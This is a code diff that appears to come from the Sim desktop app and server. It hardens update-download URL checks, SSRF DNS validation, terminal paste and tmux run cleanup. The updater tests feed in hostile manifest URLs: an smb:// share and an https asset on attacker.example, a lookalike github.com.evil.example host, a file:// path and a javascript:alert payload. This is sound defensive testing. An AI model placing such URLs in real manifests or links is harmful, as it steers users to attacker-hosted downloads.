+ if (pending) pending.push(handle)
+ else this.pendingRuns.set(terminal.terminalId, [handle])
}
const { text, truncated } = elideOutput(outcome.output)
diff --git a/apps/desktop/src/main/terminal/pending-runs.test.ts b/apps/desktop/src/main/terminal/pending-runs.test.ts
new file mode 100644
index 00000000000..8fc62eb6401
--- /dev/null
+++ b/apps/desktop/src/main/terminal/pending-runs.test.ts
@@ -0,0 +1,132 @@
+/**
+ * @vitest-environment node
+ */
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { tmuxStub } = vi.hoisted(() => ({
+ tmuxStub: {
+ /** Handles handed out by `startRun`, newest last, with their dispose spies. */
+ handles: [] as Array<{ window: string; dispose: ReturnType }>,
+ /** Whether a run's status file is considered present yet. */
+ complete: new Set(),
+ /** What `awaitRun` reports — the leak is on the `done: false` path. */
+ done: false,
+ },
+}))
+
+vi.mock('@/main/terminal/tmux', () => ({
+ TMUX_KEY_NAMES: {},
+ activePane: vi.fn(async () => 'sess:0.0'),
+ awaitRun: vi.fn(async () => ({
+ done: tmuxStub.done,
+ output: 'out',
+ exitCode: tmuxStub.done ? 0 : null,
+ })),
+ capturePane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
+ closeRunWindow: vi.fn(async () => undefined),
+ isRunComplete: vi.fn((handle: { window: string }) => tmuxStub.complete.has(handle.window)),
+ isTmuxUnavailable: vi.fn(() => false),
+ killPane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
+ listPanes: vi.fn(async () => []),
+ resolveAttachment: vi.fn(async () => ({ session: 'sess' })),
+ sendKey: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
+ sendText: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
+ startRun: vi.fn(async () => {
+ const handle = {
+ window: `sess:${tmuxStub.handles.length}`,
+ outPath: '/tmp/fake/out',
+ statusPath: '/tmp/fake/status',
+ dispose: vi.fn(),
+ }
+ tmuxStub.handles.push(handle)
+ return handle
+ }),
+}))
+
+vi.mock('@/main/terminal/session', () => ({
+ elide: (text: string) => ({ text, truncated: false }),
+ TerminalSession: {
+ create: ({ terminalId, cwd }: { terminalId: string; cwd: string }) => ({
+ terminalId,
+ cols: 80,
+ rows: 24,
+ pid: 1234,
+ env: {},
+ shell: 'zsh',
+ alive: true,
+ currentCwd: cwd,
+ foreground: null,
+ isBusy: false,
+ hasShellIntegration: true,
+ dispose: vi.fn(),
+ write: vi.fn(),
+ resize: vi.fn(),
+ setBusy: vi.fn(),
+ refreshCwd: async () => {},
+ takeReplaySnapshot: () => '',
+ tabState: (active: boolean) => ({
+ terminalId,
+ title: 'zsh',
+ cwd,
+ running: null,
+ interactive: false,
+ active,
+ }),
+ }),
+ },
+}))
+
+import { TerminalService } from '@/main/terminal'
+
+/**
+ * A run whose command outlives the wait window leaves a temp directory behind
+ * that only its handle can remove, and nothing polls that run again — `read`
+ * captures the tmux pane instead. These cover who eventually disposes it.
+ */
+describe('pending tmux runs', () => {
+ let service: TerminalService
+
+ beforeEach(() => {
+ tmuxStub.handles.length = 0
+ tmuxStub.complete.clear()
+ tmuxStub.done = false
+ service = new TerminalService({ loadCwd: () => '/tmp', saveCwd: () => {} })
+ })
+
+ it('reclaims a still-running run when the terminal is closed', async () => {
+ await service.executeTool('call-1', 'run', { command: 'sleep 600' })
+
+ const [handle] = tmuxStub.handles
+ expect(handle.dispose).not.toHaveBeenCalled()
+
+ service.dispose()
+
+ expect(handle.dispose).toHaveBeenCalledTimes(1)
+ })
+
+ it('reaps a finished run when the next run starts, and leaves live ones alone', async () => {
+ await service.executeTool('call-1', 'run', { command: 'sleep 600' })
+ const [first] = tmuxStub.handles
+
+ await service.executeTool('call-2', 'run', { command: 'sleep 600' })
+ expect(first.dispose).not.toHaveBeenCalled()
+
+ tmuxStub.complete.add(first.window)
+ await service.executeTool('call-3', 'run', { command: 'sleep 600' })
+
+ expect(first.dispose).toHaveBeenCalledTimes(1)
+ expect(tmuxStub.handles[1].dispose).not.toHaveBeenCalled()
+
+ service.dispose()
+ })
+
+ it('disposes a run inline when it finishes inside the wait window', async () => {
+ tmuxStub.done = true
+ await service.executeTool('call-1', 'run', { command: 'true' })
+
+ expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1)
+
+ service.dispose()
+ expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1)
+ })
+})
diff --git a/apps/desktop/src/main/terminal/tmux.ts b/apps/desktop/src/main/terminal/tmux.ts
index 2af584a6d0f..e97f31df116 100644
--- a/apps/desktop/src/main/terminal/tmux.ts
+++ b/apps/desktop/src/main/terminal/tmux.ts
@@ -337,7 +337,13 @@ export async function startRun(
// PIPESTATUS keeps the command's own exit code rather than tee's, which is
// always 0. bash rather than the user's shell because PIPESTATUS is not
// portable and this wrapper is ours, not something they have to read.
- const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)}`
+ // The status write is silenced because its directory may be gone by the time
+ // it runs: closing the terminal tab reclaims the run's temp dir while the
+ // command keeps going in tmux. `tee` is unaffected — POSIX lets it keep
+ // writing to the unlinked inode — but an unredirected `printf` would fail
+ // into the pipeline and print `No such file or directory` into the user's own
+ // tmux window, minutes after they closed the tab.
+ const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)} 2>/dev/null`
const wrapper = `bash -lc ${JSON.stringify(`{ ${script}; } 2>&1 | tee ${JSON.stringify(outPath)}`)}`
const args = ['new-window', '-d', '-P', '-F', '#{window_id}', '-t', session, '-n', 'sim-run']
@@ -381,7 +387,7 @@ export function pollRun(handle: TmuxRunHandle): TmuxRunOutcome {
* second, quadratic in output size. Liveness only needs the status file, which
* is a few bytes; the output is read once, when the run is settled.
*/
-function isRunComplete(handle: TmuxRunHandle): boolean {
+export function isRunComplete(handle: TmuxRunHandle): boolean {
return readIfPresent(handle.statusPath) !== null
}
diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts
index c5d1140851c..0ba00f9fdca 100644
--- a/apps/desktop/src/main/updater.test.ts
+++ b/apps/desktop/src/main/updater.test.ts
@@ -326,6 +326,74 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
expect(shell.openExternal).toHaveBeenCalledTimes(2)
})
+ it('refuses a manifest whose download urls are not http(s)', async () => {
+ const hostile = [
+ 'version: 9.9.9',
+ 'files:',
+ ' - url: smb://attacker.example/share/Sim-9.9.9-universal.dmg',
+ ' sha512: abc',
+ ' - url: file:///Applications/Calculator.app',
+ ' sha512: def',
+ "releaseDate: '2026-07-23T00:00:00.000Z'",
+ ].join('\n')
+ const { handle } = await createManualUpdater(async () => hostile)
+
+ handle.check()
+ await vi.advanceTimersByTimeAsync(0)
+
+ // Never advertised, so the user is never offered a Download button for it.
+ // 'error' rather than 'idle': a newer version exists but cannot be offered.
+ expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
+
+ handle.check()
+ handle.install()
+ expect(shell.openExternal).not.toHaveBeenCalled()
+ })
+
+ it('refuses an attacker-hosted https asset', async () => {
+ const offHost = [
+ 'version: 9.9.9',
+ 'files:',
+ ' - url: https://attacker.example/Sim-9.9.9-universal.dmg',
+ ' sha512: abc',
+ // A lookalike host must not pass a prefix test either.
+ ' - url: https://github.com.evil.example/simstudioai/sim/releases/download/v9.9.9/Sim.dmg',
+ ' sha512: def',
+ "releaseDate: '2026-07-23T00:00:00.000Z'",
+ ].join('\n')
+ const { handle } = await createManualUpdater(async () => offHost)
+
+ handle.check()
+ await vi.advanceTimersByTimeAsync(0)
+
+ expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
+ handle.check()
+ handle.install()
+ expect(shell.openExternal).not.toHaveBeenCalled()
+ })
+
+ it('skips an unusable url but still offers a safe one from the same manifest', async () => {
+ const mixed = [
+ 'version: 9.9.9',
+ 'files:',
+ ' - url: javascript:alert(1)//Sim-9.9.9-universal.dmg',
+ ' sha512: abc',
+ ' - url: https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg',
+ ' sha512: def',
+ "releaseDate: '2026-07-23T00:00:00.000Z'",
+ ].join('\n')
+ const { handle } = await createManualUpdater(async () => mixed)
+
+ handle.check()
+ await vi.advanceTimersByTimeAsync(0)
+ expect(handle.getState()).toEqual({ status: 'available', version: '9.9.9', manual: true })
+
+ handle.check()
+ expect(shell.openExternal).toHaveBeenCalledWith(
+ 'https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg'
+ )
+ })
+
it('stays idle when the feed version is not newer', async () => {
const { handle } = await createManualUpdater(async () => manifest(app.getVersion()))
handle.check()
diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts
index 82d3a16f32e..711875cfdf6 100644
--- a/apps/desktop/src/main/updater.ts
+++ b/apps/desktop/src/main/updater.ts
@@ -3,7 +3,8 @@ import type { DesktopUpdateState } from '@sim/desktop-bridge'
import { createLogger } from '@sim/logger'
import { getErrorMessage } from '@sim/utils/errors'
import type { BrowserWindow } from 'electron'
-import { app, dialog, net, shell } from 'electron'
+import { app, dialog, net } from 'electron'
+import { isSafeExternalUrl, openExternalSafe } from '@/main/navigation'
import type { EventRecorder } from '@/main/observability'
const logger = createLogger('DesktopUpdater')
@@ -32,6 +33,28 @@ export function feedUrlForOrigin(origin: string): string | null {
}
}
+/**
+ * Where the feed rewrites every manifest entry to. Downloads are constrained to
+ * this prefix rather than to https alone, so a feed that serves an attacker's
+ * host cannot get a bundle in front of the user's Download button.
+ */
+const RELEASE_ASSET_ORIGIN = 'https://github.com'
+const RELEASE_ASSET_PATH = '/simstudioai/sim/releases/download/'
+
+/** Whether a manifest url is one of our own release assets. */
+function isReleaseAssetUrl(rawUrl: string): boolean {
+ if (!isSafeExternalUrl(rawUrl)) return false
+ try {
+ const url = new URL(rawUrl)
+ // Compared on the parsed origin and the parsed pathname, never by prefix on
+ // the raw string: `https://github.com.evil.example/…` must not pass, and
+ // `URL` has already normalized away any `..` segments by this point.
+ return url.origin === RELEASE_ASSET_ORIGIN && url.pathname.startsWith(RELEASE_ASSET_PATH)
+ } catch {
+ return false
+ }
+}
+
/**
* Maps the running version to its update channel: prerelease builds follow
* their prerelease channel, stable builds only ever see stable releases.
@@ -434,12 +457,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
}
// The feed rewrites manifest urls to absolute GitHub asset URLs;
// prefer the dmg for a human download.
- const urls = Array.from(manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1])
+ //
+ // Filtered before selection, not just before opening: the manifest is
+ // whatever the configured origin served, so `smb://…/x.dmg` or a bare
+ // `file:///…` would otherwise pass the suffix test and be advertised as
+ // an available update.
+ const urls = Array.from(
+ manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm),
+ (m) => m[1]
+ ).filter(isReleaseAssetUrl)
downloadUrl =
urls.find((url) => url.endsWith('.dmg')) ??
urls.find((url) => url.endsWith('.zip')) ??
urls[0] ??
null
+ if (!downloadUrl) {
+ // 'error', not 'idle': a newer version demonstrably exists and cannot
+ // be offered, so "Sim is up to date" would strand a user whose shell
+ // the server's minimum-version gate is already blocking.
+ logger.warn('Update manifest had no usable download url', {
+ version,
+ candidates: urls.length,
+ })
+ deps.events.record('update_blocked_version', { version, reason: 'unusable-url' })
+ setState({ status: 'error', version: state.version, manual: true })
+ return
+ }
deps.events.record('update_check', { available: version, manual: true })
setState({ status: 'available', version, manual: true })
} catch (error) {
@@ -451,7 +494,10 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
const openDownload = () => {
if (downloadUrl) {
deps.events.record('update_manual_download', { url: downloadUrl })
- void shell.openExternal(downloadUrl)
+ // Through openExternalSafe like every other external open in the app,
+ // so the allowlist is enforced at the sink and not only where the url
+ // was chosen. No loopback exemption: every legitimate asset is https.
+ void openExternalSafe(downloadUrl)
}
}
diff --git a/apps/desktop/src/preload/browser/index.ts b/apps/desktop/src/preload/browser/index.ts
index a968f917177..d247e54215a 100644
--- a/apps/desktop/src/preload/browser/index.ts
+++ b/apps/desktop/src/preload/browser/index.ts
@@ -38,6 +38,20 @@ function isFillable(field: HTMLInputElement): boolean {
return rect.width > 0 && rect.height > 0
}
+/**
+ * The field's `autocomplete` tokens.
+ *
+ * Token membership, not whole-string equality: the spec allows space-separated
+ * detail tokens and WebAuthn recommends `current-password webauthn`. Equality
+ * here while the agent guards split tokens would leave fill blind to exactly
+ * the fields they protect.
+ */
+function autocompleteTokens(field: HTMLInputElement): string[] {
+ return String(field.getAttribute('autocomplete') || '')
+ .toLowerCase()
+ .split(/\s+/)
+}
+
/**
* Matches the same definition the agent guards use: a reveal toggle flips a
* password field to `type="text"` without making it any less secret, and the
@@ -45,8 +59,8 @@ function isFillable(field: HTMLInputElement): boolean {
*/
function isPasswordField(field: HTMLInputElement): boolean {
if (String(field.type || '').toLowerCase() === 'password') return true
- const hint = String(field.getAttribute('autocomplete') || '').toLowerCase()
- return hint === 'current-password' || hint === 'new-password'
+ const tokens = autocompleteTokens(field)
+ return tokens.includes('current-password') || tokens.includes('new-password')
}
function findPasswordField(): HTMLInputElement | null {
@@ -88,8 +102,8 @@ function findUsernameField(password: HTMLInputElement): HTMLInputElement | null
function findIdentifierField(): HTMLInputElement | null {
for (const field of document.querySelectorAll('input')) {
if (!isFillable(field)) continue
- const hint = String(field.getAttribute('autocomplete') || '').toLowerCase()
- if (hint === 'username' || hint === 'email') return field
+ const tokens = autocompleteTokens(field)
+ if (tokens.includes('username') || tokens.includes('email')) return field
if (String(field.type || '').toLowerCase() === 'email') return field
}
return null
diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts
index 82bc2f79f55..9ed2eed55b3 100644
--- a/apps/desktop/src/preload/index.ts
+++ b/apps/desktop/src/preload/index.ts
@@ -303,6 +303,8 @@ const api: SimDesktopApi = {
write: (terminalId: string, data: string): void => {
ipcRenderer.send('terminal:write', terminalId, data)
},
+ paste: (terminalId: string): Promise =>
+ ipcRenderer.invoke('terminal:paste', terminalId),
resize: (terminalId: string, cols: number, rows: number): void => {
ipcRenderer.send('terminal:resize', terminalId, cols, rows)
},
diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts
index 385aba2910b..a27eb745022 100644
--- a/apps/desktop/src/test/electron-mock.ts
+++ b/apps/desktop/src/test/electron-mock.ts
@@ -53,6 +53,7 @@ export const safeStorage = {
export const clipboard = {
writeText: vi.fn(),
+ readText: vi.fn(() => ''),
}
export const nativeTheme = {
diff --git a/apps/sim/app/api/tools/onepassword/utils.ts b/apps/sim/app/api/tools/onepassword/utils.ts
index 5f0cc9b60fb..6cb15624357 100644
--- a/apps/sim/app/api/tools/onepassword/utils.ts
+++ b/apps/sim/app/api/tools/onepassword/utils.ts
@@ -1,4 +1,3 @@
-import dns from 'dns/promises'
import type {
FileAttributes,
Item,
@@ -12,6 +11,7 @@ import type {
Website,
} from '@1password/sdk'
import { createLogger } from '@sim/logger'
+import { resolveHostAddresses } from '@sim/security/dns'
import { isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { generateId } from '@sim/utils/id'
@@ -312,12 +312,12 @@ export async function validateConnectServerUrl(serverUrl: string): Promise entry.family === 4) ?? resolved[0]).address
+ const resolved = await resolveHostAddresses(clean)
+ addresses = resolved.addresses
+ address = resolved.preferred
} catch (error) {
connectLogger.warn('DNS lookup failed for 1Password Connect server URL', {
hostname: clean,
@@ -326,7 +326,9 @@ export async function validateConnectServerUrl(serverUrl: string): Promise {
- void navigator.clipboard
- .readText()
- .then((text) => {
+ void (async () => {
+ // Main-side first: it reads the clipboard synchronously, so the paste
+ // cannot be refused for want of a recent gesture the way an awaited
+ // renderer read can.
+ if (await pasteIntoTerminal(terminalId)) {
+ terminalRef.current?.focus()
+ return
+ }
+ try {
+ const text = await navigator.clipboard.readText()
if (!text) return
// Straight to the PTY: the shell echoes it, exactly like a real paste.
writeToTerminal(terminalId, text)
terminalRef.current?.focus()
- })
- .catch(() => {
+ } catch {
// Reading the clipboard needs a permission the shell grants to its own
// origin; an older shell that predates that grant denies it. Keyboard
// paste is a native paste event and keeps working either way.
toast.error('Could not read the clipboard. Press ⌘V to paste.')
- })
+ }
+ })()
}, [terminalId])
const clearScreen = useCallback(() => {
diff --git a/apps/sim/lib/core/security/input-validation.server.test.ts b/apps/sim/lib/core/security/input-validation.server.test.ts
new file mode 100644
index 00000000000..a8cffca7888
--- /dev/null
+++ b/apps/sim/lib/core/security/input-validation.server.test.ts
@@ -0,0 +1,99 @@
+/**
+ * @vitest-environment node
+ */
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { mockResolve } = vi.hoisted(() => ({ mockResolve: vi.fn() }))
+
+vi.mock('@sim/security/dns', () => ({
+ resolveHostAddresses: mockResolve,
+ preferIpv4: (addresses: string[]) =>
+ addresses.find((address) => address.includes('.')) ?? addresses[0],
+}))
+
+vi.mock('@/lib/core/config/env-flags', () => ({
+ isHosted: false,
+ isPrivateDatabaseHostsAllowed: false,
+ getProxyUrl: () => undefined,
+}))
+
+import { validateUrlWithDNS } from '@/lib/core/security/input-validation.server'
+
+/**
+ * Shapes a resolver answer the way `resolveHostAddresses` does, including its
+ * IPv4-first preference — so `preferred` can differ from `addresses[0]`, which
+ * is the whole reason the field exists.
+ */
+function resolved(addresses: string[]) {
+ const preferred = addresses.find((address) => address.includes('.')) ?? addresses[0]
+ return { addresses, preferred }
+}
+
+describe('validateUrlWithDNS address classification', () => {
+ beforeEach(() => {
+ vi.clearAllMocks()
+ })
+
+ it('drops a private co-record and pins the public one', async () => {
+ // The gap this closes: one address used to be classified, so which record
+ // got judged was a matter of resolver order.
+ mockResolve.mockResolvedValue(resolved(['93.184.216.34', '10.0.0.5']))
+
+ const result = await validateUrlWithDNS('https://mixed.example/api')
+
+ expect(result.isValid).toBe(true)
+ expect(result.resolvedIP).toBe('93.184.216.34')
+ })
+
+ it('rejects when every record is private', async () => {
+ mockResolve.mockResolvedValue(resolved(['10.0.0.5', '192.168.1.9']))
+
+ const result = await validateUrlWithDNS('https://internal.example/api')
+
+ expect(result.isValid).toBe(false)
+ expect(result.error).toContain('blocked IP address')
+ })
+
+ it('never pins an address the filter refused', async () => {
+ // The private record sorts first AND is the IPv4 one, so a pin taken from
+ // the unfiltered set would land on 10.0.0.5.
+ mockResolve.mockResolvedValue(resolved(['10.0.0.5', '2606:2800:220:1::248']))
+
+ const result = await validateUrlWithDNS('https://mixed.example/api')
+
+ expect(result.isValid).toBe(true)
+ expect(result.resolvedIP).toBe('2606:2800:220:1::248')
+ })
+
+ it('accepts a host whose every record is public, pinning the preferred one', async () => {
+ mockResolve.mockResolvedValue(resolved(['93.184.216.34', '93.184.216.35']))
+
+ const result = await validateUrlWithDNS('https://example.com/api')
+
+ expect(result.isValid).toBe(true)
+ expect(result.resolvedIP).toBe('93.184.216.34')
+ })
+
+ it('keeps the self-hosted localhost carve-out when every record is loopback', async () => {
+ mockResolve.mockResolvedValue(resolved(['127.0.0.1', '::1']))
+
+ expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(true)
+ })
+
+ it('drops an off-loopback record from localhost rather than pinning it', async () => {
+ // The carve-out covers loopback only, so the LAN record is filtered out and
+ // the pin stays on the machine the carve-out was written for.
+ mockResolve.mockResolvedValue(resolved(['127.0.0.1', '10.0.0.5']))
+
+ const result = await validateUrlWithDNS('https://localhost/api')
+
+ expect(result.isValid).toBe(true)
+ expect(result.resolvedIP).toBe('127.0.0.1')
+ })
+
+ it('reports an unresolvable host rather than treating it as public', async () => {
+ mockResolve.mockRejectedValue(new Error('ENOTFOUND'))
+
+ expect((await validateUrlWithDNS('https://missing.example/api')).isValid).toBe(false)
+ })
+})
diff --git a/apps/sim/lib/core/security/input-validation.server.ts b/apps/sim/lib/core/security/input-validation.server.ts
index b6fec51bb23..f95ab62ce26 100644
--- a/apps/sim/lib/core/security/input-validation.server.ts
+++ b/apps/sim/lib/core/security/input-validation.server.ts
@@ -1,10 +1,11 @@
+import dns from 'node:dns/promises'
import { Readable } from 'node:stream'
import zlib from 'node:zlib'
-import dns from 'dns/promises'
import http from 'http'
import https from 'https'
import type { LookupFunction } from 'net'
import { createLogger } from '@sim/logger'
+import { preferIpv4, resolveHostAddresses } from '@sim/security/dns'
import { isLoopbackIp, isPrivateIp, isPrivateIpHost, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { omit } from '@sim/utils/object'
@@ -65,19 +66,21 @@ export async function validateUrlWithDNS(
const isLocalhost = cleanHostname === 'localhost' || isLoopbackIp(cleanHostname)
try {
- // Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs
- // on IPv4-only egress (e.g. AWS NAT gateways) — still-pinned consumers (providers, SSO,
- // A2A) depend on this ordering.
- const resolved = await dns.lookup(cleanHostname, { all: true, verbatim: true })
- const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0]
-
- const resolvedIsLoopback = isLoopbackIp(address)
-
- if (isPrivateIp(address) && !(isLocalhost && resolvedIsLoopback && !isHosted)) {
+ // Refused records are filtered rather than failing the whole host, matching
+ // createSsrfGuardedLookup below. Pinning to a surviving public address is
+ // just as safe as refusing outright, and rejecting the host would break a
+ // split-horizon resolver that answers with a private record alongside the
+ // public one — with no operator opt-out on this path.
+ const { addresses } = await resolveHostAddresses(cleanHostname)
+ const usable = addresses.filter(
+ (address) => !isPrivateIp(address) || (isLocalhost && !isHosted && isLoopbackIp(address))
+ )
+
+ if (usable.length === 0) {
logger.warn('URL resolves to blocked IP address', {
paramName,
hostname,
- resolvedIP: address,
+ resolvedIP: addresses.find((address) => isPrivateIp(address)),
})
return {
isValid: false,
@@ -87,7 +90,9 @@ export async function validateUrlWithDNS(
return {
isValid: true,
- resolvedIP: address,
+ // Re-preferred over the surviving set so the pin is never an address the
+ // filter above just refused.
+ resolvedIP: preferIpv4(usable as [string, ...string[]]),
originalHostname: hostname,
}
} catch (error) {
@@ -206,16 +211,16 @@ export async function validateDatabaseHost(
}
try {
- // Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs
- // on IPv4-only egress (e.g. AWS NAT gateways).
- const resolved = await dns.lookup(cleanHost, { all: true, verbatim: true })
- const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0]
+ const { addresses, preferred } = await resolveHostAddresses(cleanHost)
+ const blockedAddress = isPrivateDatabaseHostsAllowed
+ ? undefined
+ : addresses.find((candidate) => isPrivateIp(candidate))
- if (isPrivateIp(address) && !isPrivateDatabaseHostsAllowed) {
+ if (blockedAddress !== undefined) {
logger.warn('Database host resolves to blocked IP address', {
paramName,
hostname: host,
- resolvedIP: address,
+ resolvedIP: blockedAddress,
})
return {
isValid: false,
@@ -225,7 +230,7 @@ export async function validateDatabaseHost(
return {
isValid: true,
- resolvedIP: address,
+ resolvedIP: preferred,
originalHostname: host,
}
} catch (error) {
@@ -487,10 +492,7 @@ function assertGuardedRedirectTarget(url: URL, allowedPinnedIp?: string): void {
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error(`Blocked by SSRF policy: redirect to unsupported protocol ${url.protocol}`)
}
- const host =
- url.hostname.startsWith('[') && url.hostname.endsWith(']')
- ? url.hostname.slice(1, -1)
- : url.hostname
+ const host = unwrapIpv6Brackets(url.hostname)
if (ipaddr.isValid(host) && isPrivateIp(host)) {
// The pinned-private carve-out permits exactly its own validated IP as a target (a
// self-hosted MCP on a private IP, or a same-host redirect that stays on it) — but nothing
diff --git a/apps/sim/lib/mcp/domain-check.ts b/apps/sim/lib/mcp/domain-check.ts
index 94c66a17335..6a39f0a8aa2 100644
--- a/apps/sim/lib/mcp/domain-check.ts
+++ b/apps/sim/lib/mcp/domain-check.ts
@@ -1,5 +1,5 @@
-import dns from 'dns/promises'
import { createLogger } from '@sim/logger'
+import { resolveHostAddresses } from '@sim/security/dns'
import { isIpLiteral, isLoopbackIp, isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { getAllowedMcpDomainsFromEnv, isHosted } from '@/lib/core/config/env-flags'
@@ -172,12 +172,12 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise entry.family === 4) ?? resolved[0]).address
+ const resolved = await resolveHostAddresses(cleanHostname)
+ addresses = resolved.addresses
+ address = resolved.preferred
} catch (error) {
logger.warn('DNS lookup failed for MCP server URL', {
hostname,
@@ -186,20 +186,22 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise {
+ const paste = bridge()?.paste
+ if (!paste) return false
+ return paste(terminalId)
+}
+
export function resizeTerminal(terminalId: string, cols: number, rows: number): void {
bridge()?.resize(terminalId, cols, rows)
}
diff --git a/packages/desktop-bridge/src/index.ts b/packages/desktop-bridge/src/index.ts
index dd2e3cecaa6..779bae991dc 100644
--- a/packages/desktop-bridge/src/index.ts
+++ b/packages/desktop-bridge/src/index.ts
@@ -52,6 +52,19 @@ export interface SimDesktopTerminalApi {
): Promise
/** Forward the user's keystrokes to one terminal's PTY. */
write(terminalId: string, data: string): void
+ /**
+ * Paste the system clipboard into one terminal's PTY.
+ *
+ * The text is read in the main process rather than handed over by the caller:
+ * Electron removed the `clipboard` module from renderers precisely so page
+ * content cannot reach the clipboard, and it means a compromised renderer can
+ * only replay what the user already copied instead of choosing the bytes.
+ * Resolves false when the clipboard held nothing to paste.
+ *
+ * Optional: shells that predate it fall back to reading the clipboard in the
+ * renderer.
+ */
+ paste?(terminalId: string): Promise
resize(terminalId: string, cols: number, rows: number): void
/** Open an additional terminal and make it active. */
openTerminal(cwd?: string): Promise
diff --git a/packages/security/package.json b/packages/security/package.json
index afa673f035d..68b9e74dfb6 100644
--- a/packages/security/package.json
+++ b/packages/security/package.json
@@ -14,6 +14,10 @@
"types": "./src/compare.ts",
"default": "./src/compare.ts"
},
+ "./dns": {
+ "types": "./src/dns.ts",
+ "default": "./src/dns.ts"
+ },
"./encryption": {
"types": "./src/encryption.ts",
"default": "./src/encryption.ts"
diff --git a/packages/security/src/dns.test.ts b/packages/security/src/dns.test.ts
new file mode 100644
index 00000000000..196c1f38c6c
--- /dev/null
+++ b/packages/security/src/dns.test.ts
@@ -0,0 +1,131 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const { mockLookup } = vi.hoisted(() => ({ mockLookup: vi.fn() }))
+
+vi.mock('node:dns/promises', () => ({
+ default: { lookup: mockLookup },
+}))
+
+import { DnsTimeoutError, resolveHostAddresses } from './dns'
+
+describe('resolveHostAddresses', () => {
+ beforeEach(() => {
+ vi.clearAllMocks()
+ })
+
+ it('returns every address, not just the one worth pinning', async () => {
+ mockLookup.mockResolvedValue([
+ { address: '93.184.216.34', family: 4 },
+ { address: '10.0.0.5', family: 4 },
+ ])
+
+ const resolved = await resolveHostAddresses('mixed.example')
+
+ expect(resolved.addresses).toEqual(['93.184.216.34', '10.0.0.5'])
+ })
+
+ it('prefers IPv4 for the pinnable address', async () => {
+ mockLookup.mockResolvedValue([
+ { address: '2606:2800:220:1::248', family: 6 },
+ { address: '93.184.216.34', family: 4 },
+ ])
+
+ const resolved = await resolveHostAddresses('dual.example')
+
+ expect(resolved.preferred).toBe('93.184.216.34')
+ expect(resolved.addresses).toHaveLength(2)
+ })
+
+ it('falls back to the first address when there is no IPv4 record', async () => {
+ mockLookup.mockResolvedValue([{ address: '2606:2800:220:1::248', family: 6 }])
+
+ const resolved = await resolveHostAddresses('v6only.example')
+
+ expect(resolved.preferred).toBe('2606:2800:220:1::248')
+ })
+
+ it('rejects rather than returning nothing when the resolver answers empty', async () => {
+ mockLookup.mockResolvedValue([])
+
+ await expect(resolveHostAddresses('empty.example')).rejects.toThrow('No addresses')
+ })
+
+ it('rejects when the resolver fails', async () => {
+ mockLookup.mockRejectedValue(new Error('ENOTFOUND'))
+
+ await expect(resolveHostAddresses('missing.example')).rejects.toThrow('ENOTFOUND')
+ })
+
+ it('clears the deadline timer once the lookup succeeds', async () => {
+ // A leaked timer holds the event loop open for the full window and is
+ // invisible to every other assertion here.
+ vi.useFakeTimers()
+ try {
+ mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
+
+ await resolveHostAddresses('example.com')
+
+ expect(vi.getTimerCount()).toBe(0)
+ } finally {
+ vi.useRealTimers()
+ }
+ })
+
+ it('swallows a lookup that rejects after the deadline already fired', async () => {
+ // Without the pre-race `.catch`, the loser of the race surfaces as an
+ // unhandled rejection well after the caller has moved on.
+ vi.useFakeTimers()
+ const unhandled = vi.fn()
+ process.on('unhandledRejection', unhandled)
+ try {
+ let failLookup: (error: Error) => void = () => {}
+ mockLookup.mockReturnValue(
+ new Promise((_resolve, reject) => {
+ failLookup = reject
+ })
+ )
+
+ const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
+ const assertion = expect(pending).rejects.toThrow('timed out')
+ await vi.advanceTimersByTimeAsync(1_000)
+ await assertion
+
+ failLookup(new Error('ENOTFOUND'))
+ await vi.advanceTimersByTimeAsync(0)
+ await Promise.resolve()
+
+ expect(unhandled).not.toHaveBeenCalled()
+ } finally {
+ process.off('unhandledRejection', unhandled)
+ vi.useRealTimers()
+ }
+ })
+
+ it('rejects on the deadline instead of waiting for a hung resolver', async () => {
+ vi.useFakeTimers()
+ try {
+ mockLookup.mockReturnValue(new Promise(() => {}))
+
+ const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
+ const assertion = expect(pending).rejects.toThrow('timed out')
+ await vi.advanceTimersByTimeAsync(1_000)
+ await assertion
